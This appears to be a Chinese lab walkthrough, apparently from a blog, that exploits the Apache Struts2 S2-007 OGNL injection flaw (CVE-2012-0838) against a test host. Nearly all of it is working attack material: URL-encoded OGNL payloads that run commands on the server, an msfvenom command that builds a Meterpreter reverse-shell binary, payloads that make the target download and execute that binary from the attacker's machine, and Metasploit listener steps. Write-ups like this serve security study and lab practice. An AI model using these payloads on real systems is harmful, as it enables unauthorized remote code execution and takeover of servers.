S2-007-RCE(CVE-2012-0838)
攻击者可以利用不安全的输入数据,构造OGNL表达式,最终导致服务器执行恶意命令。特别是在没有适当的输入验证或配置的情况下,攻击者可以在 HTTP 请求中嵌入 OGNL 表达式,触发远程代码执行。
Affected Version: 2.0.0 - 2.2.3(Struts 2.0.0 - Struts 2.3.15.1)
漏洞url:http://192.168.200.142:8080/user.action
RCEpoc
在age栏输入poc,可以看到id命令执行成功
'+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()))+%2b+'
getshell
使用msfvenon生成的poc
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.200.131 lport=6666 -f elf >~/test/test.elf
在kali开启web服务,发送payload让靶机下载poc
'+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('wget+192.168.200.131%3a8888/test.elf').getInputStream()))+%2b+'
虽然发送payload提示参数不对,但kali这边显示下载成功200返回值
kali开启监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.200.131
set lport 6666
run
发送执行payload的poc
执行两条命令
chmod +x test.elf
./test.elf
完整poc
'+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('chmod+%2bx+test.elf').getInputStream()))+%2b+'
'+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('./test.elf').getInputStream()))+%2b+'
成功监听到shell
ime().exec(‘./test.elf’).getInputStream()))+%2b+’
成功监听到shell![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/d2bc87befca346f182049ee045642bdd.png)